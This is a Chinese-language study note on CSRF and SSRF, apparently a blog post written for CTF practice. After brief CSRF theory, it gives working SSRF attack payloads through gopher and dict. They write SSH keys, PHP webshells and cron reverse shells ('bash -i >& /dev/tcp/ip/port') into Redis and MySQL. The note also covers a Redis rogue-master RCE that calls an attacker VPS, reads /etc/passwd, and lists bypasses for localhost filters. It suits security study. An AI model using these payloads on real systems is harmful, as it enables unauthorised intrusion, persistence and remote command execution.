CSRF & SSRF
CSRF
CSRF(Cross-Site Request Forgery)(跨站请求伪造漏洞)
原理
用户访问网站,网站给用户cookie,此时攻击者给用户发送了一个诱惑链接,链接里有对该网站的访问代码,用户点击攻击者的链接后,触发恶意代码,攻击者就利用用户的cookie,执行了对网站的请求(以接口形式调用请求)
恶意代码例:
发邮件,发消息,改密码,买东西,货币转账等方式威胁账户安全
bp -> engagement tools -> generate CSRF Poc 生成html代码,放到网站中,然后诱导用户点击网站,触发CSRF
防御
1、验证referer值(来源界面)
(攻击者可抓包修改referer值)
2、Cookie hashing:客户端对cookie生成摘要,发送给客户端,客户端验证cookie
(攻击者可用xss注入获取用户cookie值)
3、生成随机token:服务器生成随机token,保存并发送给用户,用户界面上有个隐藏字段用于保存token,用户每次访问需携带该token,当用户退出时,token失效
(依旧可通过xss注入获得token)例:
4、二次验证
如:验证码
5、waf
6、不要点不明链接
SSRF
SSRF(Server-Side Request Forgery,服务器端请求伪造) 是一种由攻击者构造请求,服务器发送请求的漏洞,攻击目标为外网无法访问的内部系统(内网)
成因
客户端向服务端请求远程服务器的资源,由服务端向远程服务器请求资源,再返回给客户端
如:传资源给该服务端时,服务端帮我们去特定url请求资源,再返回给客户端
当构造url为127.0.0.1:3306,如果服务端没有过滤,就会帮我们请求内网的资源。
可利用方式:
防御
1、限制请求的端口为web端口
2、限制不能访问内网IP
3、屏蔽返回的详细信息和错误信息
4、禁用不需要的协议,防止类似于file://,gopher://,ftp:// 等引起的问题
总结图
相关内容
参考:https://blog.csdn.net/q20010619/article/details/120536552
file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中
readfile():输出一个文件的内容
fsockopen():打开一个网络连接或者一个Unix 套接字连接
curl_exec():初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用
fopen():打开一个文件文件或者 URL
PHP原生类SoapClient在触发反序列化时可导致SSRF
伪协议
利用链:
file伪协议探测主机信息-->dict伪协议探测端口开放信息-->http伪协议目录扫描-->gopher伪协议攻击内网
file
file:// 从文件系统中获取文件内容
file:///etc/passwd #读取文件passwd
file:///etc/hosts #显示当前操作系统网卡的IP,知道网段
file:///proc/net/arp #显示arp缓存表(寻找内网其他主机)
file:///proc/net/fib_trie #显示当前网段路由信息
HECTF2023 伪装者
1、
明显有url=,可ssrf,使用到file://协议(需要绝对路径 )
例子:file:///var/www/html/flag.php
2、url后格式要有http头等
dict
dict://:字典服务协议,访问字典资源
http
http://:常规url形式,访问文件或其他资源
目录扫描
gopher
被称为http协议前身,与http很像。默认端口:70
用途:get、post、redis、fastcgi、sql等
比http在ssrf请求中只能进行get提交强:gopher可以进行post提交
如图:gopher请求资源中,不会转发第一个字符
get提交
GET /name.php HTTP/1.1
Host: 172.250.250.4
gopher://172.250.250.4:80/_GET%20/name.php%3fname=cyi%20HTTP/1.1%0d%0AHost:%20172.250.250.4%0d%0A
%0d%0A : 换行
注意点:GET前一个无用字符,一次url编码,结尾也需要一个换行
或bp抓包,然后进行两次url编码
将无用数据_
后数据两次url编码(所有字符选项),然后发送
两次URL编码原因:在进行ssrf的服务器上进行了一次url解码,请求到真正的主机时又进行一次url解码
所有注意事项:
1、注意添加端口号80和填充位
2、GET提交最后需要增加一个换行符,即在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)
3、问号(?)需要转码为URL编码,也就是%3f
4、回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
5、URL编码改为大写,冒号注意英文冒号
6、如果使用BP发包需要进行两次url编码
post提交
注意点:
1、访问主机地址吗和请求的资源要正确
2、Content-Length(post的内容长度)和Content-Type要注意
POST /name.php HTTP/1.1
Host: 172.250.250.4
Content-Type: application/x-www-form-urlencoded
Content-Length: 8
name=cyi
提交过程和get一样,浏览器框框就进行一次url编码(浏览器会自动encode一次),bp就进行两次。
浏览器:
gopher://172.250.250.4:80/_%50%4f%53%54%20%2f%6e%61%6d%65%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0a%48%6f%73%74%3a%20%31%37%32%2e%32%35%30%2e%32%35%30%2e%34%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%38%0a%0a%6e%61%6d%65%3d%63%79%69
bp:
当我们是通过ssrf进行命令执行时,我们需要注意post提交的内容名
或直接bp抓一下包,获取name
然后就是和之前一样的构造,将_
后数据URL编码两次后发送,右边是URL编码后的响应数据
gopher exp tool
usage
python2 .\gopherus.py --exploit ?
可以攻击很多东西:mysql、postgresql、fastcgi、redis、zabbix、pymemcache、rbmemcache、phpmemcache、dmpmemcache、smtp
python2 .\gopherus.py --exploit mysql
curl
function get($url){
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_HEADER, 0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($curl);
curl_close($curl);
echo base64_encode($data);
return $data;
}
支持很多协议,ftp、file、http、https、gopher.........,当作正常请求就行了
如:$url = "file:///var/www/html/flag";
ssrf+xxe
ssrf+mysql
命令型
写shell型
这种得有sql写入权限,可先用
show variables like '%secure%'
判断是否有权限
当secure_file_priv为空时可将文件放到任意指定位置(目录必须存在,文件会自动新建),为NULL时不可
然后对特定路径进行写入,查各种web服务器的默认根路径
select "<?php @eval($_POST['cmd']);?>" into outfile "文件绝对路径"
bp进行操作的话记得多url编码一次
ssrf+redis(手动构造)
redis协议格式
*4 #多少条命令(config set dir /tmp)
$6 #命令长度
config
$3
set
$3
dir
$4
/tmp
以ssh公钥写入为例
想要构造的内容
config set dir /root/.ssh/
config set dbfilename authorized_keys
set payload 公钥内容
save
quit
*4
$6
config
$3
set
$3
dir
$11
/root/.ssh/
*4
$6
config
$3
set
$10
dbfilename
$15
authorized_keys
*3
$3
set
$7
payload
$567
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCrdpM+sD/U4uU2/cj3V/YqggLgcb1sdgPFPHJh/R1rI2uO3VTDdtMkL8ZJnwB4iV9Bk5qOgd3uXEZ9amQnF/1PeGWd1Zp7EfK2aUMbFk2Qo6DMVX6dacnLS9IOwvOEAzGObX3QM6ENu5PRugi+MhCUPFMhUe0040bmjKHplBqcOK5t3hFFybMKYRvrCLA0A3PL/609VeUDm0Bk6jjseV6/1aIV5asb2xWOg6a62YTBbGDx3BirtO9jFeAwkZsMTd3unuRtRdtqN2Tn2uCeKD0Mq/uhmH3fGBoQ+537rXE2Kkl4gcvu2S4K7A8TR5HN4bdwvR6YA4jF/Gkc2KMH+a7UNMwF59zekiT+KOeb9o/eheXkNML2qN6iyABococ7Iq+w4wypoZh4XwLWNMOix9HmbVwDi3Upi3ktAGXHJ024omaSewhSnTPW3+jG4qOO5R7UXDVd3cpm9QDZUCnV1cy8eK5UepfOJijBl5uxa4Nsc+u6J/PvINI1vvP3f8zWkkM= 86139@xhz
*1
$4
save
*1
$4
quit
这里的ssh公钥需要换两行,因为写入备份文件时,redis在首尾会添加数据,换两行保证公钥文件有效
将换行符换成%0d%0A,gopher伪协议打
*4%0d%0A$6%0d%0Aconfig%0d%0A$3%0d%0Aset%0d%0A$3%0d%0Adir%0d%0A$11%0d%0A/root/.ssh/%0d%0A*4%0d%0A$6%0d%0Aconfig%0d%0A$3%0d%0Aset%0d%0A$10%0d%0Adbfilename%0d%0A$15%0d%0Aauthorized_keys%0d%0A*3%0d%0A$3%0d%0Aset%0d%0A$7%0d%0Apayload%0d%0A$567%0d%0A%0d%0A%0d%0Assh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCrdpM+sD/U4uU2/cj3V/YqggLgcb1sdgPFPHJh/R1rI2uO3VTDdtMkL8ZJnwB4iV9Bk5qOgd3uXEZ9amQnF/1PeGWd1Zp7EfK2aUMbFk2Qo6DMVX6dacnLS9IOwvOEAzGObX3QM6ENu5PRugi+MhCUPFMhUe0040bmjKHplBqcOK5t3hFFybMKYRvrCLA0A3PL/609VeUDm0Bk6jjseV6/1aIV5asb2xWOg6a62YTBbGDx3BirtO9jFeAwkZsMTd3unuRtRdtqN2Tn2uCeKD0Mq/uhmH3fGBoQ+537rXE2Kkl4gcvu2S4K7A8TR5HN4bdwvR6YA4jF/Gkc2KMH+a7UNMwF59zekiT+KOeb9o/eheXkNML2qN6iyABococ7Iq+w4wypoZh4XwLWNMOix9HmbVwDi3Upi3ktAGXHJ024omaSewhSnTPW3+jG4qOO5R7UXDVd3cpm9QDZUCnV1cy8eK5UepfOJijBl5uxa4Nsc+u6J/PvINI1vvP3f8zWkkM= 86139@xhz%0d%0A%0d%0A%0d%0A*1%0d%0A$4%0d%0Asave%0d%0A*1%0d%0A$4%0d%0Aquit%0d%0A
ssrf+redis(用gopherus)
dict伪协议访问redis info信息,判断是否存在无认证登录
dict://xxx.xxx.xxx.xxx:6379/info
未授权访问漏洞
成因:服务器版本较低,且未设置登陆密码
info信息响应,存在未授权访问
工具构造payload
gopher://xxx.xxx.xxx.xxx:6379/_......
这里一直转圈圈正常,工具没在结尾加quit,文件已经写进去了,直接中断就行
http://xxx.xxx.xxx.xxx/shell.php?cmd=...
未授权计划任务写入
任务计划路径
Centos : /var/spool/cron
Ubuntu : /var/spool/cron/crontabs
nc -lvp 1234
ssrf+redis(用rog)
redis-over--gopher
写webshell
redis.cmd文件写入
flushall
config set dir /var/html/www
config set dbfilename shell.php
set 'shell' '<?php phpinfo();?>'
save
flushall #清空记录
config set dir /var/html/www #写入的文件路径
config set dbfilename shell.php #写入的文件名
set 'shell' '<?php phpinfo();?>' #配置shell
save #保存
gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%38%0d%0a%66%6c%75%73%68%61%6c%6c%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%0d%0a%31%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%34%0d%0a%2f%55%73%65%72%73%2f%6d%69%30%2f%77%77%77%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a
ssh公钥
前提:开启redis和ssh,有写入.ssh目录权限
本地生成公私钥
ssh-keygen -t rsa
redis.cmd
flushall
config set dir '/root/.ssh/'
config set dbfilename authorized_keys
set 'shell' '公钥内容'
save
如果失败了就去看手动构造
计划任务
Ubuntu的起的redis的话写不了(很多问题)
redis.cmd
flushall
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save
ip和port 改成反弹shell服务器
如果不行的话,可能是\n原因,参考手动构造ssh,手动构造这个
redis主从复制
影响范围:redis4.x ~ 5.x
主从模式:使用一个redis服务器作为主机,其他作为备份机,主机和从机数据相同,而从机只负责读,主机只负责写
漏洞原理(个人理解):我们构造主redis服务器,利用未授权访问等漏洞使对方靶机从属于我们的redis服务器,然后我们在我们redis上构造exp.so(内容怎么getshell不知道),并通过FULLRESYNC同步文件到从机上,执行getshell
exp.so生成
https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
进入该目录输入make
生成exp.so
外网
Dliv3/redis-rogue-server: Redis 4.x/5.x RCE (github.com)
前提:
- 外网Redis未授权访问
- 已知外网Redis口令
python3 redis-rogue-server.py --rhost <target address> --rport <target port> --lhost <vps address> --lport <vps port>
--rpasswd
如果目标Redis服务开启了认证功能,可以通过该选项指定密码--rhost
目标redis服务IP--rport
目标redis服务端口,默认为6379--lhost
vps的外网IP地址--lport
vps监控的端口,默认为21000
搭配ssrf(内网)
#查看当前redis的相关配置
?url=dict://127.0.0.1:6379/info
#设置路径
?url=dict://127.0.0.1:6379/config:set:dir:/tmp
#设置备份文件名
?url=dict://127.0.0.1:6379/config:set:dbfilename:exp.so
#连接恶意Redis服务器
#在这时候运行python rogueserver.py --lport 9999 --exp exp.so(这个很快会结束,不知道为什么,但是对方服务器已经从属于我们了)
?url=dict://127.0.0.1:6379/slaveof:xxx.xxx.xxx.xxx:9999
#加载恶意模块
?url=dict://127.0.0.1:6379/module:load:/tmp/exp.so
#切断主从复制
?url=dict://127.0.0.1:6379/slaveof:no:one
#执行系统命令
?url=dict://127.0.0.1:6379/system.exec:env
用gopher打:Redis主从复制getshell技巧 - Bypass - 博客园 (cnblogs.com)
ssrf+sql,upload,cmd,include
橙子科技视频
绕过
127.0.0.1
PHP下的SSRF - 0X7e - 博客园 (cnblogs.com)
转换成其他进制表示
八进制:0177.0.0.1
十六进制:0x7f.0.0.1
十进制:2130706433
enclosed alphanumerics
http://①②⑦.⓪.⓪.① --> http://127.0.0.1
List:
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
其他方式:
http://localhost/
http://0/
http://[0:0:0:0:0:ffff:127.0.0.1]/
http://[::]:80/ --> http://127.0.0.1
127。0。0。1 --> 127.0.0.1
缺省模式:127.0.0.1写成127.1
CIDR:http://127.127.127.127
302重定向绕过
让ssrf服务器访问自己的服务器对应端口,该端口开启一个简易服务器,里面的代码是重定向代码,让ssrf服务器重定向到内网的文件资源,然后放回结果给我们
<?php
header('Location: http://127.0.0.1/flag.php');
服务器在当前目录开启php内置服务器
php -S 0.0.0.0:8888
访问后,302跳转
DNS重绑定绕过
参考:https://blog.csdn.net/qq_36348899/article/details/119297854
在网页浏览过程中,用户在地址栏中输入包含域名的网址。浏览器通过DNS服务器将域名解析为IP地址,然后向对应的IP地址请求资源,最后展现给用户。而对于域名所有者,他可以设置域名所对应的IP地址。当用户第一次访问,解析域名获取一个IP地址;然后,域名持有者修改对应的IP地址;用户再次请求该域名,就会获取一个新的IP地址。对于浏览器来说,整个过程访问的都是同一域名,所以认为是安全的。(浏览器同源策略) 这就是DNS Rebinding攻击。
在ssrf中,第一次用户请求时,ssrf服务器进行dns解析,结果为一个合法ip,利用服务器缓存时间短(配置一个自定义DNS服务器,并设定好某些域名的解析IP,再将TTL设置为0,这样后端就不会有缓存),向服务器发起请求时,进行dns解析,解析结果为内网地址,实现重绑定绕过
提供TTL值为0的域名网站:rbndr.us dns rebinding service (cmpxchg8b.com)
(ip随便填个公网ip)
标签:set,SSRF,url,redis,0A,0a%,CSRF,0d% From: https://www.cnblogs.com/xhzccy/p/18092754